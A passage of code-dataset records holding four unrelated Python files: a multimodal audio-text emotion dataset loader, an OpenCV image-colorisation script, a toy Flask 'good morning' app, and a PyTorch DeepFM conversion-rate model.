self.mfcc_bert = AudioTextBatchFunction(args= args,\n                                    pad_idx = self.pad_idx,\n                                    cls_idx = self.cls_idx, \n                                    sep_idx = self.sep_idx,\n                                    bert_args = args.bert_args,\n                                    num_label_from_bert = len(label_list),\n                                    device ='cpu'\n                                   )\n\n            self.audio_emb, self.audio_mask, self.text_emb, self.labels = self.mfcc_bert(self.audio, self.text, self.labels )\n            os.makedirs(f'../processed/{args.model_name}', exist_ok=True)\n            with open(f'../processed/{args.model_name}/{self.split_type}.pkl', 'wb') as f:\n                pickle.dump({'audio':self.audio_emb,\n                             'audio_mask':self.audio_mask,\n                              'text':self.text_emb,\n                              'labels':self.labels}, f)\n        else:\n            logger.info('loading saved files')\n            with open(f'../processed/{args.model_name}/{self.split_type}.pkl', 'rb') as f:\n                data = pickle.load(f)\n            \n            self.audio_emb, self.audio_mask, self.text_emb, self.labels = data['audio'],data['audio_mask'],data['text'],data['labels']\n            \n    def get_n_modalities(self):\n        return self.n_modalities\n\n\n    def __len__(self):\n        return len(self.labels)\n    \n    \n    def get_data(self, file_path):\n        \n        data = pd.read_pickle(file_path)\n        \n        text = data['Sentence']\n        audio =  data['audio']\n        \n\n        label = [self.label2idx[l] for l in data['Emotion']]\n        \n        text = [self.normalize_string(sentence) for sentence in text]\n        # Tokenize by Wordpiece tokenizer\n        text = [self.tokenize(sentence) for sentence in text]\n        \n        # Change wordpiece to indices\n        text = [self.tokenizer.convert_tokens_to_ids(sentence) for sentence in text]\n        \n        # as float32\n        audio = np.array([a.astype(np.float32) for a in audio])\n        # ------------------------guideline------------------------------------\n        # naming as labels -> use to sampler\n        # float32 is required for mfcc function in torchaudio\n        #----------------------------------------------------------------------\n        return audio, text, label\n    \n    def get_embedding(self):\n        self.mfcc_bert(zip(self.audio, self.text, self.labels))\n        \n    def __getitem__(self, index):\n        \n        return self.audio_emb[index], self.audio_mask[index], self.text_emb[index], self.labels[index]\n    \n    @staticmethod\n    def normalize_string(s):\n        s = html.unescape(s)\n        s = re.sub(r\"[\\s]\", r\" \", s)\n        s = re.sub(r\"[^a-zA-Z가-힣ㄱ-ㅎ0-9.!?]+\", r\" \", s)\n        return s\n    def tokenize(self, tokens):\n        return self.tokenizer.tokenize(tokens)\n\n    \n    def get_pretrained_model(self, tokenizer_path, pretrained_type):\n        # use etri tokenizer\n        tokenizer = BertTokenizer.from_pretrained(\n            tokenizer_path, do_lower_case=False)\n        vocab = tokenizer.vocab\n\n\n        return tokenizer, vocab\n    \n    \n    \nclass Multimodal_Datasets(Dataset):\n    def __init__(self, dataset_path, data='mosei_senti', split_type='train', if_align=False):\n        super(Multimodal_Datasets, self).__init__()\n        dataset_path = os.path.join(dataset_path, data+'_data.pkl' if if_align else data+'_data_noalign.pkl' )\n        dataset = pickle.load(open(dataset_path, 'rb'))\n\n        # These are torch tensors\n        self.vision = torch.tensor(dataset[split_type]['vision'].astype(np.float32)).cpu().detach()\n        self.text = torch.tensor(dataset[split_type]['text'].astype(np.float32)).cpu().detach()\n        self.audio = dataset[split_type]['audio'].astype(np.float32)\n        self.audio[self.audio == -np.inf] = 0\n        self.audio = torch.tensor(self.audio).cpu().detach()\n        self.labels = torch.tensor(dataset[split_type]['labels'].astype(np.float32)).cpu().detach()\n        \n        # Note: this is STILL an numpy array\n        self.meta = dataset[split_type]['id'] if 'id' in dataset[split_type].keys() else None\n       \n        self.data = data\n        \n        self.n_modalities = 3 # vision/ text/ audio\n    def get_n_modalities(self):\n        return self.n_modalities\n    def get_seq_len(self):\n        return self.text.shape[1], self.audio.shape[1], self.vision.shape[1]\n    def get_dim(self):\n        return self.text.shape[2], self.audio.shape[2], self.vision.shape[2]\n    def get_lbl_info(self):\n        # return number_of_labels, label_dim\n        return self.labels.shape[1], self.labels.shape[2]\n    def __len__(self):\n        return len(self.labels)\n    def __getitem__(self, index):\n        X = (index, self.text[index], self.audio[index], self.vision[index])\n        Y = self.labels[index]\n        META = (0,0,0) if self.meta is None else (self.meta[index][0], self.meta[index][1], self.meta[index][2])\n        if self.data == 'mosi':\n            META = (self.meta[index][0].decode('UTF-8'), self.meta[index][1].decode('UTF-8'), self.meta[index][2].decode('UTF-8'))\n        if self.data == 'iemocap':\n            Y = torch.argmax(Y, dim=-1)\n        return X, Y, META ", "repo_name": "Donghwa-KIM/modality-adaptation", "sub_path": "datasets.py", "file_name": "datasets.py", "file_ext": "py", "file_size_in_byte": 6782, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.utils.data.dataset.Dataset", "line_number": 26, "usage_type": "name"}, {"api_name": "os.path.isfile", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path", "line_number": 39, "usage_type": "attribute"}, {"api_name": "input_embedding.AudioTextBatchFunction", "line_number": 57, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 67, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 69, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 76, "usage_type": "call"}, {"api_name": "pandas.read_pickle", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 106, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 106, "usage_type": "attribute"}, {"api_name": "html.unescape", "line_number": 122, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 123, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 124, "usage_type": "call"}, {"api_name": "kobert.BertTokenizer.from_pretrained", "line_number": 132, "usage_type": "call"}, {"api_name": "kobert.BertTokenizer", "line_number": 132, "usage_type": "name"}, {"api_name": "torch.utils.data.dataset.Dataset", "line_number": 141, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 144, "usage_type": "call"}, {"api_name": "os.path", "line_number": 144, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 145, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 148, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 148, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 149, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 149, "usage_type": "attribute"}, {"api_name": "numpy.float32", "line_number": 150, "usage_type": "attribute"}, {"api_name": "numpy.inf", "line_number": 151, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 152, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 153, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 153, "usage_type": "attribute"}, {"api_name": "torch.argmax", "line_number": 179, "usage_type": "call"}]}
{"seq_id": "71050116731", "text": "import cv2 # opencv 3.4.2+ required\nimport os\nimport numpy as np\nimport matplotlib.pyplot as plt\nprint(cv2.__version__)\nproto = '../input/colorise-image/colorization_deploy_v2.prototxt.txt'\nweights = '../input/colorise-image/colorization_release_v2_norebal.caffemodel'\n# colorization_release_v2_norebal.caffemodel is trained with a classification loss with no class re-balancing term.\n# The results are duller but \"safer\" colorizations\n# weights = './models/colorization_release_v2_norebal.caffemodel' \n\n# load cluster centers\npts_in_hull = np.load('../input/colorise-image/pts_in_hull.npy')\npts_in_hull = pts_in_hull.transpose().reshape(2, 313, 1, 1).astype(np.float32)\n\n# load model\nnet = cv2.dnn.readNetFromCaffe(proto, weights)\n# net.getLayerNames()\n\n# populate cluster centers as 1x1 convolution kernel\nnet.getLayer(net.getLayerId('class8_ab')).blobs = [pts_in_hull]\n# scale layer doesn't look work in OpenCV dnn module, we need to fill 2.606 to conv8_313_rh layer manually\nnet.getLayer(net.getLayerId('conv8_313_rh')).blobs = [np.full((1, 313), 2.606, np.float32)]\nimg_path = '../input/colorise-image/sample_10.jpg'\nimg = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE)\nimg_input = img.copy()\n\n# convert BGR to RGB\nimg = cv2.cvtColor(img, cv2.COLOR_GRAY2RGB)\n\nimg_rgb = img.copy()\n\n# normalize input\nimg_rgb = (img_rgb / 255.).astype(np.float32)\n\n# convert RGB to LAB\nimg_lab = cv2.cvtColor(img_rgb, cv2.COLOR_RGB2Lab)\n# only L channel to be used\nimg_l = img_lab[:, :, 0]\n\ninput_img = cv2.resize(img_l, (224, 224))\ninput_img -= 50 # subtract 50 for mean-centering\n\n# plot images\n# fig = plt.figure(figsize=(10, 5))\n# fig.add_subplot(1, 2, 1)\n# plt.imshow(img_rgb)\n# fig.add_subplot(1, 2, 2)\n# plt.axis('off')\nplt.figure(figsize=(10,10))\nplt.imshow(input_img, cmap='gray')\nnet.setInput(cv2.dnn.blobFromImage(input_img))\npred = net.forward()[0,:,:,:].transpose((1, 2, 0))\n\n# resize to original image shape\npred_resize = cv2.resize(pred, (img.shape[1], img.shape[0]))\n\n# concatenate with original image L\npred_lab = np.concatenate([img_l[:, :, np.newaxis], pred_resize], axis=2)\n\n# convert LAB to RGB\npred_rgb = cv2.cvtColor(pred_lab, cv2.COLOR_Lab2RGB)\npred_rgb = np.clip(pred_rgb, 0, 1) * 255\npred_rgb = pred_rgb.astype(np.uint8)\n\n# plot prediction result\nfig = plt.figure(figsize=(20, 10))\nfig.add_subplot(1, 2, 1).axis('off')\nplt.imshow(img_l, cmap='gray')\nfig.add_subplot(1, 2, 2).axis('off')\nplt.imshow(pred_rgb)\n# plt.savefig(output_filename)\n\n# save result image file\nfilename, ext = os.path.splitext(img_path)\n# input_filename = '%s_input%s' % (filename, ext)\n# output_filename = '%s_output%s' % (filename, ext)\n\n# pred_rgb_output = cv2.cvtColor(pred_rgb, cv2.COLOR_RGB2BGR)\n\n# cv2.imwrite(input_filename, img_input)\n# cv2.imwrite(output_filename, np.concatenate([img, pred_rgb_output], axis=1))", "repo_name": "aorursy/new-nb-1", "sub_path": "ashishpatel26_black-white-to-color-image-using-dl.py", "file_name": "ashishpatel26_black-white-to-color-image-using-dl.py", "file_ext": "py", "file_size_in_byte": 2802, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "cv2.__version__", "line_number": 5, "usage_type": "attribute"}, {"api_name": "numpy.load", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 14, "usage_type": "attribute"}, {"api_name": "cv2.dnn.readNetFromCaffe", "line_number": 17, "usage_type": "call"}, {"api_name": "cv2.dnn", "line_number": 17, "usage_type": "attribute"}, {"api_name": "numpy.full", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 23, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 25, "usage_type": "call"}, {"api_name": "cv2.IMREAD_GRAYSCALE", "line_number": 25, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 29, "usage_type": "call"}, {"api_name": "cv2.COLOR_GRAY2RGB", "line_number": 29, "usage_type": "attribute"}, {"api_name": "numpy.float32", "line_number": 34, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 37, "usage_type": "call"}, {"api_name": "cv2.COLOR_RGB2Lab", "line_number": 37, "usage_type": "attribute"}, {"api_name": "cv2.resize", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 50, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 51, "usage_type": "name"}, {"api_name": "cv2.dnn.blobFromImage", "line_number": 52, "usage_type": "call"}, {"api_name": "cv2.dnn", "line_number": 52, "usage_type": "attribute"}, {"api_name": "cv2.resize", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.newaxis", "line_number": 59, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 62, "usage_type": "call"}, {"api_name": "cv2.COLOR_Lab2RGB", "line_number": 62, "usage_type": "attribute"}, {"api_name": "numpy.clip", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 64, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 71, "usage_type": "name"}, {"api_name": "os.path.splitext", "line_number": 75, "usage_type": "call"}, {"api_name": "os.path", "line_number": 75, "usage_type": "attribute"}]}
{"seq_id": "4827774571", "text": "from flask import Flask\nfrom flask import render_template\nfrom flask import redirect\nfrom flask import request\n\napp = Flask(__name__)\n\n\n# route to root\n@app.route('/')\ndef index():\n    return render_template(\"index.html\")\n\n\n@app.route('/check', methods=[\"GET\",\"POST\"])\ndef check():\n    VALID_INPUT = \"good morning\"\n    if request.method == \"POST\":\n        user_input = request.form.get(\"question\").lower()\n        if user_input == VALID_INPUT:\n            return redirect(\"/correct\")\n        else:\n            return redirect(\"/\")\n    if request.method == \"GET\":\n        user_input = request.args.get(\"question\").lower()\n        if user_input == VALID_INPUT:\n            return redirect(\"/correct\")\n        else:\n            return redirect(\"/\")\n\n\n@app.route('/correct')\ndef correct():\n    return \"Good morning!\"\n\n\nif __name__ == \"__main__\":\n    app.run(host=\"0.0.0.0\", port=2224)\n\n", "repo_name": "jhpp114node/mycode", "sub_path": "Challenge_Chad/Flask_Morning/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 882, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "flask.Flask", "line_number": 6, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 12, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 18, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 18, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 19, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 19, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 19, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 21, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 23, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 24, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 24, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 25, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 25, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 25, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 27, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 29, "usage_type": "call"}]}
{"seq_id": "74074328891", "text": "import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport numpy as np\nimport torchsnooper\n\nfrom utility import neg_log_loss\n\ndef tensor_neg_log_loss(y_predict, y_true):\n    loss = -(y_true * torch.log(y_predict) + (1 - y_true) * torch.log(1.0 - y_predict))\n    return loss.mean()\n\n\nclass DeepFM(nn.Module):\n    def __init__(self, feature_sizes, continuous_field_size, embedding_size=4,\n                 hidden_dims=[128, 128], use_fm1=False, num_classes=10, dropout=[0.5, 0.5],\n                 use_cuda=True, verbose=False):\n        \"\"\"\n        Initialize a new network\n        Inputs:\n        - feature_size: A list of integer giving the size of features for each field.\n        - embedding_size: An integer giving size of feature embedding.\n        - hidden_dims: A list of integer giving the size of each hidden layer.\n        - num_classes: An integer giving the number of classes to predict. For example,\n                    someone may rate 1,2,3,4 or 5 stars to a film.\n        - batch_size: An integer giving size of instances used in each interation.\n        - use_cuda: Bool, Using cuda or not\n        - verbose: Bool\n        \"\"\"\n        super().__init__()\n        self.field_size = len(feature_sizes)\n        self.continuous_field_size = continuous_field_size\n        self.feature_sizes = feature_sizes\n        self.embedding_size = embedding_size\n        self.hidden_dims = hidden_dims\n        self.use_fm1 = use_fm1\n        self.num_classes = num_classes\n        self.dtype = torch.float\n\n        \"\"\"\n            check if use cuda\n        \"\"\"\n        if use_cuda and torch.cuda.is_available():\n            self.device = torch.device('cuda')\n        else:\n            self.device = torch.device('cpu')\n        \"\"\"\n            init fm part\n        \"\"\"\n\n        #        self.fm_first_order_embeddings = nn.ModuleList(\n        #            [nn.Embedding(feature_size, 1) for feature_size in self.feature_sizes])\n        fm_first_order_linears = nn.ModuleList(\n            [nn.Linear(feature_size, self.embedding_size) for feature_size in\n             self.feature_sizes[:self.continuous_field_size]])\n        fm_first_order_embeddings = nn.ModuleList(\n            [nn.Embedding(feature_size, self.embedding_size) for feature_size in\n             self.feature_sizes[self.continuous_field_size:]])\n        self.fm_first_order_models = fm_first_order_linears.extend(\n            fm_first_order_embeddings)\n\n        #        self.fm_second_order_embeddings = nn.ModuleList(\n        #            [nn.Embedding(feature_size, self.embedding_size) for feature_size in self.feature_sizes])\n        fm_second_order_linears = nn.ModuleList(\n            [nn.Linear(feature_size, self.embedding_size) for feature_size in\n             self.feature_sizes[:self.continuous_field_size]])\n        fm_second_order_embeddings = nn.ModuleList(\n            [nn.Embedding(feature_size, self.embedding_size) for feature_size in\n             self.feature_sizes[self.continuous_field_size:]])\n        self.fm_second_order_models = fm_second_order_linears.extend(\n            fm_second_order_embeddings)\n\n        \"\"\"\n            init deep part\n        \"\"\"\n        all_dims = [self.field_size * self.embedding_size] + \\\n                   self.hidden_dims + [self.num_classes]\n        for i in range(1, len(hidden_dims) + 1):\n            setattr(self, 'linear_' + str(i),\n                    nn.Linear(all_dims[i - 1], all_dims[i]))\n            # nn.init.kaiming_normal_(self.fc1.weight)\n            setattr(self, 'batchNorm_' + str(i),\n                    nn.BatchNorm1d(all_dims[i]))\n            setattr(self, 'dropout_' + str(i),\n                    nn.Dropout(dropout[i - 1]))\n\n    def forward(self, Xi, Xv):\n        \"\"\"\n        Forward process of network.\n        Inputs:\n        - Xi: A tensor of input's index, shape of (N, field_size, 1)\n        - Xv: A tensor of input's value, shape of (N, field_size, 1)\n        \"\"\"\n        \"\"\"\n            fm part\n        \"\"\"\n\n        # fm_first_order_emb_arr = [(torch.sum(emb(Xi[:, i, :]), 1).t() * Xv[:, i]).t() for i, emb in\n        #                           enumerate(self.fm_first_order_models)]\n        # fm_first_order = torch.cat(fm_first_order_emb_arr, 1)\n        # fm_second_order_emb_arr = [(torch.sum(emb(Xi[:, i, :]), 1).t() * Xv[:, i]).t() for i, emb in\n        #                            enumerate(self.fm_second_order_models)]\n\n        #        fm_first_order_emb_arr = [(torch.sum(emb(Xi[:, i, :]), 1).t() * Xv[:, i]).t() for i, emb in enumerate(self.fm_first_order_models)]\n        #        fm_first_order_emb_arr = [(emb(Xi[:, i, :]) * Xv[:, i])  for i, emb in enumerate(self.fm_first_order_models)]\n\n        if self.use_fm1:\n            fm_first_order_emb_arr = []\n            for i, emb in enumerate(self.fm_first_order_models):\n                if i < self.continuous_field_size:\n                    Xi_tem = Xi[:, i, :].to(device=self.device, dtype=torch.float)\n                    fm_first_order_emb_arr.append(\n                        (torch.sum(emb(Xi_tem).unsqueeze(1), 1).t() * Xv[:, i]).t())\n                else:\n                    Xi_tem = Xi[:, i, :].to(device=self.device, dtype=torch.long)\n                    fm_first_order_emb_arr.append(\n                        (torch.sum(emb(Xi_tem), 1).t() * Xv[:, i]).t())\n            #        print(\"successful\")\n            #        print(len(fm_first_order_emb_arr))\n            fm_first_order = torch.cat(fm_first_order_emb_arr, 1)\n        # use 2xy = (x+y)^2 - x^2 - y^2 reduce calculation\n        #        fm_second_order_emb_arr = [(torch.sum(emb(Xi[:, i, :]), 1).t() * Xv[:, i]).t() for i, emb in enumerate(self.fm_second_order_models)]\n        # fm_second_order_emb_arr = [(emb(Xi[:, i]) * Xv[:, i]) for i, emb in enumerate(self.fm_second_order_embeddings)]\n        fm_second_order_emb_arr = []\n        for i, emb in enumerate(self.fm_second_order_models):\n            if i < self.continuous_field_size:\n                Xi_tem = Xi[:, i, :].to(device=self.device, dtype=torch.float)\n                fm_second_order_emb_arr.append(\n                    (torch.sum(emb(Xi_tem).unsqueeze(1), 1).t() * Xv[:, i]).t())\n            else:\n                Xi_tem = Xi[:, i, :].to(device=self.device, dtype=torch.long)\n                fm_second_order_emb_arr.append(\n                    (torch.sum(emb(Xi_tem), 1).t() * Xv[:, i]).t())\n\n        fm_sum_second_order_emb = sum(fm_second_order_emb_arr)\n        fm_sum_second_order_emb_square = fm_sum_second_order_emb * \\\n                                         fm_sum_second_order_emb  # (x+y)^2\n        fm_second_order_emb_square = [\n            item * item for item in fm_second_order_emb_arr]\n        fm_second_order_emb_square_sum = sum(\n            fm_second_order_emb_square)  # x^2+y^2\n        fm_second_order = (fm_sum_second_order_emb_square -\n                           fm_second_order_emb_square_sum) * 0.5\n        \"\"\"\n            deep part\n        \"\"\"\n        #        print(len(fm_second_order_emb_arr))\n        #        print(torch.cat(fm_second_order_emb_arr, 1).shape)\n        deep_emb = torch.cat(fm_second_order_emb_arr, 1)\n        deep_out = deep_emb\n        for i in range(1, len(self.hidden_dims) + 1):\n            deep_out = getattr(self, 'linear_' + str(i))(deep_out)\n            deep_out = getattr(self, 'batchNorm_' + str(i))(deep_out)\n            deep_out = getattr(self, 'dropout_' + str(i))(deep_out)\n        #            print(\"successful\")\n        \"\"\"\n            sum\n        \"\"\"\n        #        print(\"1\",torch.sum(fm_first_order, 1).shape)\n        #        print(\"2\",torch.sum(fm_second_order, 1).shape)\n        #        print(\"deep\",torch.sum(deep_out, 1).shape)\n        #        print(\"bias\",bias.shape)\n        bias = torch.nn.Parameter(torch.randn(Xi.size(0))).to(self.device, self.dtype)\n        # deep_out = F.sigmoid(deep_out)\n        sum_fm2 = torch.sum(fm_second_order, 1)\n        sum_deep = torch.sum(deep_out, 1)\n        total_sum = \\\n            sum_fm2 + \\\n            sum_deep + \\\n            bias\n        if self.use_fm1:\n            sum_fm1 = torch.sum(fm_first_order, 1)\n            total_sum = total_sum + sum_fm1\n\n        result = F.sigmoid(total_sum)\n        eps = 5e-3\n        result = torch.clamp(result, eps, 1.0 - eps)\n        return result\n\n    def fit(self, loader_train, loader_val, optimizer, epochs=1, verbose=False, print_every=5):\n        \"\"\"\n        Training a model and valid accuracy.\n        Inputs:\n        - loader_train: I\n        - loader_val: .\n        - optimizer: Abstraction of optimizer used in training process, e.g., \"torch.optim.Adam()\"\"torch.optim.SGD()\".\n        - epochs: Integer, number of epochs.\n        - verbose: Bool, if print.\n        - print_every: Integer, print after every number of iterations.\n        \"\"\"\n        \"\"\"\n            load input data\n        \"\"\"\n        model = self.train().to(device=self.device)\n        criterion = tensor_neg_log_loss\n\n        for epoch in range(epochs):\n            for t, (xv, y) in enumerate(loader_train):\n                arr = np.empty(shape=(xv.shape[0], xv.shape[1]))\n                for i in range(xv.shape[0]):\n                    arr[i] = np.array(list(range(xv.shape[1])))\n                arr = arr.reshape((arr.shape[0], arr.shape[1], 1))\n                xi = torch.Tensor(arr)\n                xi = xi.to(device=self.device, dtype=self.dtype)\n                xv = xv.to(device=self.device, dtype=self.dtype)\n                y = y.to(device=self.device, dtype=self.dtype)\n                result = model(xi, xv)\n                #                print(result.shape)\n                #                print(y.shape)\n                loss = criterion(result, y)\n                optimizer.zero_grad()\n                loss.backward()\n                optimizer.step()\n\n                if verbose and t % print_every == 0:\n                    valid_loss = self.validation(loader_val, model)\n                    print('Epoch {} Iteration {}, loss = {:.4f}, validation loss = {:.4f}'.format(epoch, t, loss.item(),\n                                                                                                  valid_loss))\n\n        return model\n\n    # @torchsnooper.snoop()\n    def validation(self, loader, model):\n        model.eval()  # set model to evaluation mode\n        with torch.no_grad():\n            y_test = torch.Tensor().to(device=self.device, dtype=self.dtype)\n            y_predict = torch.Tensor().to(device=self.device, dtype=self.dtype)\n            for xv, y in loader:\n                # move to device, e.g. GPU\n                arr = np.empty(shape=(xv.shape[0], xv.shape[1]))\n                for i in range(xv.shape[0]):\n                    arr[i] = np.array(list(range(xv.shape[1])))\n                arr = arr.reshape((arr.shape[0], arr.shape[1], 1))\n                xi = torch.Tensor(arr)\n                xi = xi.to(device=self.device, dtype=self.dtype)\n                xv = xv.to(device=self.device, dtype=self.dtype)\n                y = y.to(device=self.device, dtype=self.dtype)\n                result = model(xi, xv)\n                preds = result.to(dtype=self.dtype)\n\n                y_predict = torch.cat((y_predict, preds), 0)\n                y_test = torch.cat((y_test, y), 0)\n\n            # y_predict = y_predict.cpu().detach().numpy()\n            # y_test = y_test.cpu().detach().numpy()\n            # criterion = neg_log_loss\n            # loss = criterion(y_predict, y_test)\n\n            criterion = tensor_neg_log_loss\n            loss = criterion(y_predict, y_test).item()\n            return loss\n", "repo_name": "DeleteMemoryyy/pCVR_ICJAI18", "sub_path": "src/DeepFM.py", "file_name": "DeepFM.py", "file_ext": "py", "file_size_in_byte": 11531, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "torch.log", "line_number": 10, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 14, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 14, "usage_type": "name"}, {"api_name": "torch.float", "line_number": 38, "usage_type": "attribute"}, {"api_name": "torch.cuda.is_available", "line_number": 43, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 43, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 46, "usage_type": "call"}, {"api_name": "torch.nn.ModuleList", "line_number": 53, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 53, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 54, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 54, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 56, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 56, "usage_type": "name"}, {"api_name": "torch.nn.Embedding", "line_number": 57, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 57, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 64, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 64, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 65, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 67, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 67, "usage_type": "name"}, {"api_name": "torch.nn.Embedding", "line_number": 68, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 68, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 80, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 80, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm1d", "line_number": 83, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 83, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 85, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 85, "usage_type": "name"}, {"api_name": "torch.float", "line_number": 111, "usage_type": "attribute"}, {"api_name": "torch.sum", "line_number": 113, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 115, "usage_type": "attribute"}, {"api_name": "torch.sum", "line_number": 117, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 120, "usage_type": "call"}, {"api_name": "torch.float", "line_number": 127, "usage_type": "attribute"}, {"api_name": "torch.sum", "line_number": 129, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 131, "usage_type": "attribute"}, {"api_name": "torch.sum", "line_number": 133, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 149, "usage_type": "call"}, {"api_name": "torch.nn.Parameter", "line_number": 163, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 163, "usage_type": "attribute"}, {"api_name": "torch.randn", "line_number": 163, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 165, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 166, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 172, "usage_type": "call"}, {"api_name": "torch.nn.functional.sigmoid", "line_number": 175, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 175, "usage_type": "name"}, {"api_name": "torch.clamp", "line_number": 177, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 199, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 201, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 203, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 225, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 226, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 227, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 230, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 232, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 234, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 241, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 242, "usage_type": "call"}]}
